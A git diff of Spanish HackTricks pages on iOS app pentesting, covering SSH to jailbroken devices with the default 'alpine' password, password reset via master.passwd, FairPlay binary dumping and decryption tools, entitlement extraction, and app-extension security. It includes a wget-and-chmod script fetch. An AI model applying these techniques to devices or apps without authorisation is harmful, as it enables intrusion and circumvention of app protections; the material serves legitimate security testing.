Para versiones de macOS anteriores a Catalina, iTunes facilita la búsqueda del UDID. Se pueden encontrar instrucciones detalladas [aquí](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
Para versiones de macOS anteriores a Catalina, iTunes facilita el descubrimiento del UDID. Instrucciones detalladas se pueden encontrar [aquí](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
Las herramientas de línea de comandos ofrecen métodos alternativos para recuperar el UDID:
@ -28,7 +29,7 @@ Las herramientas de línea de comandos ofrecen métodos alternativos para recupe
```bash
$ ioreg -p IOUSB -l | grep "USB Serial"
```
* **Usando `ideviceinstaller` en macOS (y Linux):**
* **Usando `ideviceinstaller` para macOS (y Linux):**
```bash
$ brew install ideviceinstaller
$ idevice_id -l
@ -37,30 +38,30 @@ $ idevice_id -l
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
```
* **Utilizando `instruments` para listar dispositivos:**
* **Empleando `instruments` para listar dispositivos:**
```bash
$ instruments -s devices
```
### **Acceso al Shell del Dispositivo**
### **Accediendo al Shell del Dispositivo**
El acceso **SSH** se habilita instalando el paquete **OpenSSH** después del jailbreak, lo que permite conexiones a través de `ssh root@<dirección_ip_del_dispositivo>`. Es crucial cambiar las contraseñas predeterminadas (`alpine`) de los usuarios `root` y `mobile` para asegurar el dispositivo.
El **acceso SSH** se habilita al instalar el **paquete OpenSSH** después del jailbreak, permitiendo conexiones a través de `ssh root@<device_ip_address>`. Es crucial cambiar las contraseñas predeterminadas (`alpine`) para los usuarios `root` y `mobile` para asegurar el dispositivo.
**SSH sobre USB** se vuelve necesario en ausencia de Wi-Fi, utilizando `iproxy` para mapear los puertos del dispositivo para conexiones SSH. Esta configuración permite el acceso SSH a través de USB ejecutando:
**SSH a través de USB** se vuelve necesario en ausencia de Wi-Fi, utilizando `iproxy` para mapear los puertos del dispositivo para conexiones SSH. Esta configuración permite el acceso SSH a través de USB ejecutando:
```bash
$ iproxy 2222 22
$ ssh -p 2222 root@localhost
```
**Aplicaciones de shell en el dispositivo**, como NewTerm 2, facilitan la interacción directa con el dispositivo, especialmente útil para solucionar problemas. También se pueden establecer **shells SSH inversas** para acceder de forma remota desde la computadora host.
**Las aplicaciones de shell en el dispositivo**, como NewTerm 2, facilitan la interacción directa con el dispositivo, especialmente útil para la solución de problemas. **Las shells SSH inversas** también se pueden establecer para el acceso remoto desde la computadora host.
### **Restablecimiento de Contraseñas Olvidadas**
Para restablecer una contraseña olvidada a la predeterminada (`alpine`), es necesario editar el archivo `/private/etc/master.passwd`. Esto implica reemplazar el hash existente con el hash de `alpine` junto a las entradas de usuario `root` y `mobile`.
Para restablecer una contraseña olvidada a la predeterminada (`alpine`), es necesario editar el archivo `/private/etc/master.passwd`. Esto implica reemplazar el hash existente con el hash para `alpine` junto a las entradas de usuario `root` y `mobile`.
## **Técnicas de Transferencia de Datos**
### **Transferencia de Archivos de Datos de la Aplicación**
**Archivado y Recuperación a través de SSH y SCP:** Es sencillo archivar el directorio de Datos de la aplicación usando `tar` y luego transferirlo usando `scp`. El siguiente comando archiva el directorio de Datos en un archivo .tgz, que luego se extrae del dispositivo:
**Archivado y Recuperación a través de SSH y SCP:** Es sencillo archivar el directorio Data de la aplicación usando `tar` y luego transferirlo usando `scp`. El comando a continuación archiva el directorio Data en un archivo .tgz, que luego se extrae del dispositivo:
```bash
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
exit
@ -68,11 +69,11 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
```
### **Herramientas de Interfaz Gráfica de Usuario**
**Usando iFunbox e iExplorer:** Estas herramientas de GUI son útiles para gestionar archivos en dispositivos iOS. Sin embargo, a partir de iOS 8.4, Apple restringió el acceso de estas herramientas al sandbox de la aplicación a menos que el dispositivo esté jailbroken.
**Usando iFunbox e iExplorer:** Estas herramientas GUI son útiles para gestionar archivos en dispositivos iOS. Sin embargo, a partir de iOS 8.4, Apple restringió el acceso de estas herramientas al sandbox de la aplicación a menos que el dispositivo esté jailbroken.
### **Usando Objection para la Gestión de Archivos**
**Shell Interactivo con Objection:** Al iniciar objection se obtiene acceso al directorio Bundle de una aplicación. Desde aquí, puedes navegar hasta el directorio Documents de la aplicación y gestionar archivos, incluyendo la descarga y carga desde y hacia el dispositivo iOS.
**Shell Interactiva con Objection:** Lanzar objection proporciona acceso al directorio Bundle de una aplicación. Desde aquí, puedes navegar al directorio Documents de la aplicación y gestionar archivos, incluyendo descargarlos y subirlos hacia y desde el dispositivo iOS.
```bash
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@ -80,21 +81,21 @@ file download <filename>
```
## **Obtención y Extracción de Aplicaciones**
### **Obtención del Archivo IPA**
### **Adquisición del Archivo IPA**
**Enlace de Distribución Over-The-Air (OTA):** Las aplicaciones distribuidas para pruebas a través de OTA se pueden descargar utilizando la herramienta de descarga de activos de servicios ITMS, que se instala a través de npm y se utiliza para guardar el archivo IPA localmente.
```bash
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
```
### **Extrayendo el Binario de la Aplicación**
### **Extracción del Binario de la Aplicación**
1. **Desde un IPA:** Descomprime el IPA para acceder al binario de la aplicación descifrado.
2. **Desde un Dispositivo con Jailbreak:** Instala la aplicación y extrae el binario descifrado de la memoria.
2. **Desde un Dispositivo Jailbroken:** Instala la aplicación y extrae el binario descifrado de la memoria.
### **Proceso de Descifrado**
**Resumen del Descifrado Manual:** Los binarios de aplicaciones de iOS están encriptados por Apple utilizando FairPlay. Para realizar ingeniería inversa, es necesario volcar el binario descifrado de la memoria. El proceso de descifrado implica verificar la bandera PIE, ajustar las banderas de memoria, identificar la sección encriptada y luego volcar y reemplazar esta sección con su forma descifrada.
**Descripción General del Descifrado Manual:** Los binarios de aplicaciones de iOS están cifrados por Apple utilizando FairPlay. Para realizar ingeniería inversa, se debe volcar el binario descifrado de la memoria. El proceso de descifrado implica verificar la bandera PIE, ajustar las banderas de memoria, identificar la sección cifrada y luego volcar y reemplazar esta sección con su forma descifrada.
**Verificación y Modificación de la Bandera PIE:**
```bash
@ -104,23 +105,23 @@ otool -Vh Hello_World
```
**Identificación de la Sección Encriptada y Volcado de Memoria:**
Determine las direcciones de inicio y fin de la sección encriptada utilizando `otool` y realice el volcado de memoria desde el dispositivo con jailbreak utilizando gdb.
Determine las direcciones de inicio y fin de la sección encriptada utilizando `otool` y volcar la memoria desde el dispositivo con jailbreak usando gdb.
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000
```
**Sobrescribir la Sección Encriptada:**
**Sobrescribiendo la Sección Encriptada:**
Reemplazar la sección encriptada en el binario de la aplicación original con el volcado desencriptado.
Reemplace la sección encriptada en el binario original de la aplicación con el volcado desencriptado.
```bash
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
```
**Finalizando Descifrado:** Modificar los metadatos del binario para indicar la ausencia de cifrado utilizando herramientas como **MachOView**, estableciendo `cryptid` en 0.
**Finalizando la Desencriptación:** Modifica los metadatos del binario para indicar la ausencia de encriptación utilizando herramientas como **MachOView**, estableciendo `cryptid` en 0.
### **Descifrado (Automáticamente)**
### **Desencriptación (Automáticamente)**
#### **frida-ios-dump**
La herramienta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se emplea para **descifrar y extraer aplicaciones automáticamente** de dispositivos iOS. Inicialmente, se debe configurar `dump.py` para conectarse al dispositivo iOS, lo cual se puede hacer a través de localhost en el puerto 2222 mediante **iproxy** o directamente a través de la dirección IP y puerto del dispositivo.
La herramienta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se emplea para **desencriptar y extraer aplicaciones automáticamente** de dispositivos iOS. Inicialmente, se debe configurar `dump.py` para conectarse al dispositivo iOS, lo que se puede hacer a través de localhost en el puerto 2222 mediante **iproxy** o directamente a través de la dirección IP del dispositivo y el puerto.
Las aplicaciones instaladas en el dispositivo se pueden listar con el comando:
```bash
@ -130,10 +131,10 @@ Para volcar una aplicación específica, como Telegram, se utiliza el siguiente
```bash
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
```
Este comando inicia la extracción de la aplicación, lo que resulta en la creación de un archivo `Telegram.ipa` en el directorio actual. Este proceso es adecuado para dispositivos con jailbreak, ya que aplicaciones no firmadas o falsamente firmadas pueden ser reinstaladas utilizando herramientas como [**ios-deploy**](https://github.com/ios-control/ios-deploy).
Este comando inicia el volcado de la aplicación, lo que resulta en la creación de un archivo `Telegram.ipa` en el directorio actual. Este proceso es adecuado para dispositivos con jailbreak, ya que las aplicaciones no firmadas o falsamente firmadas pueden reinstalarse utilizando herramientas como [**ios-deploy**](https://github.com/ios-control/ios-deploy).
#### **flexdecrypt**
La herramienta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), junto con su envoltorio [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permite la extracción de archivos IPA de aplicaciones instaladas. Los comandos de instalación para **flexdecrypt** en el dispositivo incluyen la descarga e instalación del paquete `.deb`. **flexdump** se puede utilizar para listar y extraer aplicaciones, como se muestra en los comandos a continuación:
La herramienta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), junto con su envoltura [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permite la extracción de archivos IPA de aplicaciones instaladas. Los comandos de instalación para **flexdecrypt** en el dispositivo incluyen la descarga e instalación del paquete `.deb`. **flexdump** se puede usar para listar y volcar aplicaciones, como se muestra en los comandos a continuación:
```bash
apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@ -141,20 +142,20 @@ flexdump list
flexdump dump Twitter.app
```
#### **bagbak**
[**bagbak**](https://github.com/ChiChou/bagbak), otra herramienta basada en Frida, requiere un dispositivo con jailbreak para la desencriptación de aplicaciones:
[**bagbak**](https://github.com/ChiChou/bagbak), otra herramienta basada en Frida, requiere un dispositivo con jailbreak para la decryption de aplicaciones:
```bash
bagbak --raw Chrome
```
#### **r2flutch**
**r2flutch**, utilizando tanto radare como frida, sirve para la descifrado y volcado de aplicaciones. Se puede encontrar más información en su [**página de GitHub**](https://github.com/as0ler/r2flutch).
**r2flutch**, utilizando tanto radare como frida, sirve para la decryption y dumping de aplicaciones. Más información se puede encontrar en su [**página de GitHub**](https://github.com/as0ler/r2flutch).
### **Instalación de aplicaciones**
### **Instalación de Aplicaciones**
**Sideloading** se refiere a la instalación de aplicaciones fuera de la App Store oficial. Este proceso es manejado por el **daemon installd** y requiere que las aplicaciones estén firmadas con un certificado emitido por Apple. Los dispositivos con jailbreak pueden evitar esto a través de **AppSync**, lo que permite la instalación de paquetes IPA falsamente firmados.
**Sideloading** se refiere a la instalación de aplicaciones fuera de la App Store oficial. Este proceso es manejado por el **installd daemon** y requiere que las aplicaciones estén firmadas con un certificado emitido por Apple. Los dispositivos con jailbreak pueden eludir esto a través de **AppSync**, permitiendo la instalación de paquetes IPA falsamente firmados.
#### **Herramientas de Sideloading**
- **Cydia Impactor**: Una herramienta para firmar e instalar archivos IPA en iOS y archivos APK en Android. Se pueden encontrar guías y solución de problemas en [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **Cydia Impactor**: Una herramienta para firmar e instalar archivos IPA en iOS y archivos APK en Android. Guías y solución de problemas se pueden encontrar en [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **libimobiledevice**: Una biblioteca para Linux y macOS para comunicarse con dispositivos iOS. Se proporcionan comandos de instalación y ejemplos de uso para ideviceinstaller para instalar aplicaciones a través de USB.
@ -162,14 +163,12 @@ bagbak --raw Chrome
- **ios-deploy**: Para usuarios de macOS, ios-deploy instala aplicaciones de iOS desde la línea de comandos. Descomprimir el IPA y usar la bandera `-m` para el lanzamiento directo de la aplicación son parte del proceso.
- **Xcode**: Utiliza Xcode para instalar aplicaciones navegando a **Window/Devices and Simulators** y agregando la aplicación a **Installed Apps**.
- **Xcode**: Utiliza Xcode para instalar aplicaciones navegando a **Window/Devices and Simulators** y añadiendo la aplicación a **Installed Apps**.
#### **Permitir la instalación de aplicaciones en dispositivos que no son iPad**
#### **Permitir la Instalación de Aplicaciones en Dispositivos que No Son iPad**
Para instalar aplicaciones específicas de iPad en dispositivos iPhone o iPod touch, el valor **UIDeviceFamily** en el archivo **Info.plist** debe cambiarse a **1**. Sin embargo, esta modificación requiere volver a firmar el archivo IPA debido a las verificaciones de validación de firma.
**Nota**: Este método podría fallar si la aplicación requiere capacidades exclusivas de modelos de iPad más nuevos mientras se utiliza un iPhone o iPod touch más antiguo.
**Nota**: Este método puede fallar si la aplicación exige capacidades exclusivas de modelos de iPad más nuevos mientras se utiliza un iPhone o iPod touch más antiguo.
## Referencias
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
@ -178,16 +177,17 @@ Para instalar aplicaciones específicas de iPad en dispositivos iPhone o iPod to
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# Extracción de Entitlements de la Aplicación Compilada
# Extracción de derechos de la aplicación compilada
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
Resumen de la página [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
### **Extracción de Entitlements y Archivos de Provisión Móvil**
### **Extracción de derechos y archivos de provisión móvil**
Cuando se trata de un IPA de una aplicación o de una aplicación instalada en un dispositivo con jailbreak, puede que no sea posible encontrar archivos `.entitlements` o el archivo `embedded.mobileprovision` directamente. Sin embargo, las listas de propiedades de los entitlements aún pueden extraerse del binario de la aplicación, siguiendo los procedimientos descritos en el capítulo "Pruebas Básicas de Seguridad en iOS", en particular la sección "Adquisición del Binario de la Aplicación".
Al tratar con el IPA de una aplicación o una aplicación instalada en un dispositivo con jailbreak, puede que no sea posible encontrar archivos `.entitlements` o el archivo `embedded.mobileprovision` directamente. Sin embargo, las listas de propiedades de derechos aún se pueden extraer del binario de la aplicación, siguiendo los procedimientos descritos en el capítulo "Pruebas de Seguridad Básica en iOS", particularmente en la sección "Adquisición del Binario de la Aplicación".
Incluso con binarios encriptados, se pueden emplear ciertos pasos para extraer estos archivos. Si estos pasos fallan, pueden ser necesarios herramientas como Clutch (si es compatible con la versión de iOS), frida-ios-dump, u utilidades similares para descifrar y extraer la aplicación.
Incluso con binarios cifrados, se pueden emplear ciertos pasos para extraer estos archivos. Si estos pasos fallan, pueden ser necesarias herramientas como Clutch (si es compatible con la versión de iOS), frida-ios-dump, o utilidades similares para descifrar y extraer la aplicación.
#### **Extracción del Plist de Entitlements del Binario de la Aplicación**
#### **Extracción del Plist de Derechos del Binario de la Aplicación**
Con el binario de la aplicación accesible en un ordenador, **binwalk** puede ser utilizado para extraer todos los archivos XML. El siguiente comando demuestra cómo hacerlo:
Con el binario de la aplicación accesible en una computadora, se puede utilizar **binwalk** para extraer todos los archivos XML. El comando a continuación demuestra cómo hacerlo:
```bash
$ binwalk -e -y=xml ./Telegram\ X
@ -34,19 +35,19 @@ DECIMAL HEXADECIMAL DESCRIPTION
1430180 0x15D2A4 XML document, version: "1.0"
1458814 0x16427E XML document, version: "1.0"
```
Alternativamente, **radare2** se puede utilizar para ejecutar silenciosamente un comando y salir, buscando todas las cadenas en el binario de la aplicación que contienen "PropertyList":
Alternativamente, **radare2** se puede usar para ejecutar un comando en silencio y salir, buscando todas las cadenas en el binario de la aplicación que contengan "PropertyList":
```bash
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
```
Ambos métodos, binwalk y radare2, permiten la extracción de archivos `plist`, con una inspección del primero (0x0015d2a4) revelando una recuperación exitosa del [archivo de permisos original de Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Ambos métodos, binwalk y radare2, permiten la extracción de archivos `plist`, con una inspección del primero (0x0015d2a4) revelando una recuperación exitosa del [archivo de derechos original de Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Para binarios de aplicaciones accedidos en dispositivos con jailbreak (por ejemplo, a través de SSH), el comando **grep** con la bandera `-a, --text` se puede utilizar para tratar todos los archivos como texto ASCII:
Para los binarios de aplicaciones accedidos en dispositivos con jailbreak (por ejemplo, a través de SSH), se puede utilizar el comando **grep** con la bandera `-a, --text` para tratar todos los archivos como texto ASCII:
```bash
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
```
Ajustar la bandera `-A num, --after-context=num` permite mostrar más o menos líneas. Este método es viable incluso para binarios de aplicaciones encriptadas y ha sido verificado en múltiples aplicaciones de la App Store. Las herramientas mencionadas anteriormente también pueden utilizarse en dispositivos iOS con jailbreak con propósitos similares.
Ajustar la bandera `-A num, --after-context=num` permite mostrar más o menos líneas. Este método es viable incluso para binarios de aplicaciones encriptadas y ha sido verificado en múltiples aplicaciones de la App Store. Las herramientas mencionadas anteriormente también pueden ser empleadas en dispositivos iOS con jailbreak para propósitos similares.
**Nota**: No se recomienda el uso directo del comando `strings` para esta tarea debido a sus limitaciones para encontrar información relevante. En su lugar, se recomienda utilizar grep con la bandera `-a` en el binario o utilizar radare2 (`izz`)/rabin2 (`-zz`) para obtener resultados más efectivos.
**Nota**: No se recomienda el uso directo del comando `strings` para esta tarea debido a sus limitaciones para encontrar información relevante. En su lugar, se aconseja emplear grep con la bandera `-a` en el binario o utilizar radare2 (`izz`)/rabin2 (`-zz`) para obtener resultados más efectivos.

View file

@ -1,77 +1,79 @@
# Extensiones de aplicaciones iOS
# iOS App Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Las extensiones de aplicaciones mejoran la funcionalidad de las aplicaciones al permitirles interactuar con otras aplicaciones o el sistema, proporcionando funciones o contenido personalizado. Estas extensiones incluyen:
Las extensiones de aplicaciones mejoran la funcionalidad de las aplicaciones al permitirles interactuar con otras aplicaciones o el sistema, proporcionando características o contenido personalizados. Estas extensiones incluyen:
- **Teclado personalizado**: Ofrece un teclado único en todas las aplicaciones, reemplazando el teclado iOS predeterminado.
- **Teclado Personalizado**: Ofrece un teclado único en todas las aplicaciones, reemplazando el teclado predeterminado de iOS.
- **Compartir**: Permite compartir en redes sociales o con otros directamente.
- **Hoy (Widgets)**: Proporciona contenido o realiza tareas rápidamente desde la vista Hoy del Centro de Notificaciones.
Cuando un usuario interactúa con estas extensiones, como compartir texto desde una aplicación anfitriona, la extensión procesa esta entrada dentro de su contexto, aprovechando la información compartida para realizar su tarea, como se detalla en la documentación de Apple.
### **Consideraciones de seguridad**
### **Consideraciones de Seguridad**
Los aspectos clave de seguridad incluyen:
- Las extensiones y sus aplicaciones contenedoras se comunican a través de comunicación entre procesos, no directamente.
- El **widget Hoy** es único en que puede solicitar que su aplicación se abra mediante un método específico.
- Se permite el acceso a datos compartidos dentro de un contenedor privado, pero se restringe el acceso directo.
- Algunas API, incluida HealthKit, están fuera de los límites de las extensiones de aplicaciones, que tampoco pueden iniciar tareas de larga duración, acceder a la cámara o al micrófono, excepto las extensiones de iMessage.
- El **widget Hoy** es único en que puede solicitar a su aplicación que se abra a través de un método específico.
- El acceso a datos compartidos está permitido dentro de un contenedor privado, pero el acceso directo está restringido.
- Ciertas API, incluyendo HealthKit, están prohibidas para las extensiones de aplicaciones, que tampoco pueden iniciar tareas de larga duración, acceder a la cámara o al micrófono, excepto para extensiones de iMessage.
### Análisis estático
### Análisis Estático
#### **Identificación de extensiones de aplicaciones**
#### **Identificación de Extensiones de Aplicaciones**
Para encontrar extensiones de aplicaciones en el código fuente, busca `NSExtensionPointIdentifier` en Xcode o inspecciona el paquete de la aplicación en busca de archivos `.appex` que indiquen extensiones. Sin código fuente, utiliza grep o SSH para localizar estos identificadores dentro del paquete de la aplicación.
Para encontrar extensiones de aplicaciones en el código fuente, busca `NSExtensionPointIdentifier` en Xcode o inspecciona el paquete de la aplicación en busca de archivos `.appex` que indiquen extensiones. Sin código fuente, usa grep o SSH para localizar estos identificadores dentro del paquete de la aplicación.
#### **Tipos de datos admitidos**
#### **Tipos de Datos Soportados**
Verifica el archivo `Info.plist` de una extensión para `NSExtensionActivationRule` para identificar los tipos de datos admitidos. Esta configuración garantiza que solo los tipos de datos compatibles activen la extensión en las aplicaciones anfitrionas.
Revisa el archivo `Info.plist` de una extensión para `NSExtensionActivationRule` para identificar los tipos de datos soportados. Esta configuración asegura que solo los tipos de datos compatibles activen la extensión en las aplicaciones anfitrionas.
#### **Compartir datos**
#### **Compartición de Datos**
El intercambio de datos entre una aplicación y su extensión requiere un contenedor compartido, configurado mediante "Grupos de aplicaciones" y accedido a través de `NSUserDefaults`. Este espacio compartido es necesario para transferencias en segundo plano iniciadas por las extensiones.
La compartición de datos entre una aplicación y su extensión requiere un contenedor compartido, configurado a través de "Grupos de Aplicaciones" y accedido a través de `NSUserDefaults`. Este espacio compartido es necesario para las transferencias en segundo plano iniciadas por las extensiones.
#### **Restricción de extensiones**
#### **Restricción de Extensiones**
Las aplicaciones pueden restringir ciertos tipos de extensiones, especialmente los teclados personalizados, asegurando que el manejo de datos sensibles se alinee con los protocolos de seguridad.
Las aplicaciones pueden restringir ciertos tipos de extensiones, particularmente teclados personalizados, asegurando que el manejo de datos sensibles se alinee con los protocolos de seguridad.
### Análisis dinámico
### Análisis Dinámico
El análisis dinámico implica:
- **Inspeccionar elementos compartidos**: Engancha en `NSExtensionContext - inputItems` para ver los tipos de datos compartidos y sus orígenes.
- **Identificación de extensiones**: Descubre qué extensiones procesan tus datos observando mecanismos internos, como `NSXPCConnection`.
- **Inspeccionar Elementos Compartidos**: Engancharse a `NSExtensionContext - inputItems` para ver tipos de datos y orígenes compartidos.
- **Identificar Extensiones**: Descubrir qué extensiones procesan tus datos observando mecanismos internos, como `NSXPCConnection`.
Herramientas como `frida-trace` pueden ayudar a comprender los procesos subyacentes, especialmente para aquellos interesados en los detalles técnicos de la comunicación entre procesos.
Herramientas como `frida-trace` pueden ayudar a entender los procesos subyacentes, especialmente para aquellos interesados en los detalles técnicos de la comunicación entre procesos.
## Referencias
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
